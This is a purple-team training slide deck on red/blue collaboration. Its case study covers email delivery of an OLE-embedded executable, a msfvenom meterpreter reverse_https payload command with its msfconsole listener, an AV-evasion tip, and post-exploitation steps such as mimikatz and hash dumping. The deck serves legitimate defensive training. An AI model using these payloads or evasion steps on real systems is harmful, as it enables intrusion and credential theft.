Purple Team

Jorge Orchilles

FS-ISAC

Agenda

- Evolution of Offensive Security
- Assume Breach
- Red Team
- Blue Team
- Red + Blue = Purple
- Case Study Purple Team with Incident Response

Evolution of Offensive Security

- Risk Assessment
- Security Assessment
- Vulnerability Assessment
- Penetration Testing
 - Threat Modeling
- Source Code Review
- Red Teaming
- Adversary Simulation



Prevention is so 2000s

- Rather than simply seeking to keep security incidents from occurring, it is critical to assume that a security incident can and will occur.
- Organizations cannot comprehensively identify gaps in security detection and response by solely focusing on breach prevention strategies.
- Understanding how to not only protect but also to detect and respond to breaches is just as important—if not more so—than taking action to prevent a breach from occurring in the first place.

Assume Breach

- Live Production Red Teaming
- Red Team will always gets in
- What happens after is where the value is!
- Measure
 - Detection of attack and penetration
 - Response to attack and penetration
 - Recovery from data leakage, tampering or compromise
 - Prevention and better detection of future attacks

Red Team Exercises

- Test using the same Tactics, Techniques and Procedures
 (TTPs) as real adversaries, against live production
 infrastructure, without the foreknowledge of the Blue Team
 (infrastructure and platform Engineering or Operations teams).
- Red Team tests security detection and response capabilities, and helps identify production vulnerabilities, configuration errors, invalid assumptions or other security issues in a controlled manner.
- Every Red Team breach is followed by full disclosure between the Red Team and Blue Team to identify gaps, address findings and significantly improve breach response.

Intelligence-Led

- Researching and understanding industry incidents and threat landscape trends in order to stay on top of the latest attack techniques and tools used by adversaries is a critical part of any Red Team's approach
- The Red Team uses intelligence to not only model but also execute real-world tactics associated with an adversary kill chain

Map Intel to Kill Chain

- Recon
- Weaponize
- Deliver
- Exploit
- Install
- C2
- Actions on Objectives

Blue Team

- Comprised of SOC, incident response, operations, engineering, etc.
- Goals
 - Gather evidence left by the adversary
 - Detect the evidence as an Indication of Compromise
 - Alert the appropriate Engineering and Operation team(s)
 - Triage the alerts to determine whether they warrant further investigation
 - Gather context from the environment to scope the breach
 - Form a remediation plan to contain or evict the adversary
 - Execute the remediation plan and recover from breach

Benefits

- Red Teaming and live site penetration testing exercises helps to
 - significantly strengthen defenses,
 - improve response strategies,
 - train defenders, and
 - drive greater effectiveness of the entire security program.

Metrics

- Red Team
 - Mean Time to Compromise (single asset)
 - Mean Time to Pwnage (Privilege Escalation or total compromise)
- Blue Team
 - Estimated Time to Detection
 - Estimated Time to Recovery
 - New signatures or capabilities

Red + Blue = Purple


- Put Red and Blue Teams in a meeting
 - Combine the skillset
 - Only valuable test cases will be performed
 - Real-time tuning of protection and detection
- Red Team
 - Simulate latest intel-based TTPs (some come from Blue Team)
 - Generate data for Blue Team
- Blue Team
 - Use data to define indicators
 - Create new content on the fly

Case Study - Intro

- Purple Teaming for benefit of Incident Response Team
 - Red Team as usual (blind) through exploitation phase
 - SOC should discover and create alert/incident for investigation
 - Document all test cases to be performed in postexploitation
 - Hash Dump, SMB Relay, mimikatz, golden ticket creation
- IR Team Goals
 - Can you identify what was exploited?
 - What did Red Team do?
 - Follow your standard process/documentation

Case Study – Recon/Intel

https://medium.com/@networksecurity/oleoutlook-bypass-almost-every-corporate-security-control-with-a-point-n-click-gui-37f4cbc107d0#.4feskwf8x



#OLEOutlook - bypass almost every Corporate security control with a point'n'click GUI

In this tutorial, I will show you how to embed an executable into a corporate network via email, behind the firewall(s), disguised as a Word document. There is no patch for this issue.

Case Study – Recon/Intel (2)

- OLE allows embedding any content inside documents
- Where have we seen this in the past?
 - Dridex
 - Rocket Kitten
- This new post says the same is possible for Outlook.

Case Study – Recon/Intel (3)

- Brainstorm at Purple Team meeting:
 - What controls do we have in place to stop this?
 - Gateway security
 - Anti-Virus at Mail Server level
 - Anti-Virus at end point level
 - A known malware in OLE object should be stopped by all of the above
 - What test cases do we have?


Case Study – Weaponize

- Outlook doesn't allow opening executable code when received via email as an OLE package
- However, if you save the email as a .msg file and then attach it to an email, the user can open the package
- We will use a payload that would normally be caught by the controls

Case Study – Weaponize

- Create a meterpreter payload
 - msfvenom –a x86 –f exe –p windows/meterpreter/reverse_https lhost=<your ip> lport=443 > msf.exe
- Uses HTTPS (proxy aware) over standard port (not testing SOC or Hunt Team)
- We want this to be be caught by AV
 - Copy it to the test system and confirm!
 - If not, notify your AV vendor, or get rid of them
- Bonus for getting around AV:
 - Use the --encoder flag in msfvenom;)

Case Study – Weaponize



Case Study – Delivery

- 1. Send the email from an Internet email to test security gateway
- 2. Send the email internally to test email server security controls (if necessary)
- 3. Open in Outlook to test client side controls (if necessary)

Case Study – Exploit & Install

- Did it come in?
 - If so, "successful" test case for bypassing mail gateway and mail server security controls
 - Report to vendor(s)
- Open the attachment
- If AV stopped the file (which it should), turn off AV and run it again.
 - Don't forget to setup your C2 (next slide)

Case Study – C2

 Setup listener for your Meterpreter Reverse HTTPS over TCP 443

```
./msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set LHOST <your IP>
set LPORT 443
run
```

 Intel should provide a lot of options for C2 for other exercises (Tor, HTTP Cookies, IRC, etc)

Case Study – C2

- AV alerts triggered and now a C2 connection!
 - Did SOC catch it?
 - Measure time for SOC analyst to trigger incident response team.
 - Coordinate with SOC manager to obtain the time and ensure process was followed.
 - If SOC did not catch it, be more noisy so they do;
 remember the goal is to train IR team
 - Exfiltrate fake data, set off DLP, turn off AV, etc

Case Study – Action

- The Red Team now has a tunnel into the network with active C2 channel.
- Begin Incident Response Purple Teaming
 - Document and perform post-exploitation test cases:
 - Escalate privileges
 - Dump hashes (meterpreter)
 - Dump Credentials (mimikatz)
 - Start with simple cases and get more complex as you mature

Case Study - Metrics

- Time from alert/incident reported by SOC to IR reaching the system
 - Coordinate with IR manager
- How many Red Team test cases were discovered?
- For those not discovered, collaborate with IR team (Purple Team Meeting!)
 - Retest by doing the same test cases at another, unannounced time

Next Steps

- Red Team everything
- We'll work with you if you work with us;)
- Let's do this test case!

Next Steps

- Red Team everything
- We'll work with you if you work with us;)
- Let's do this test case!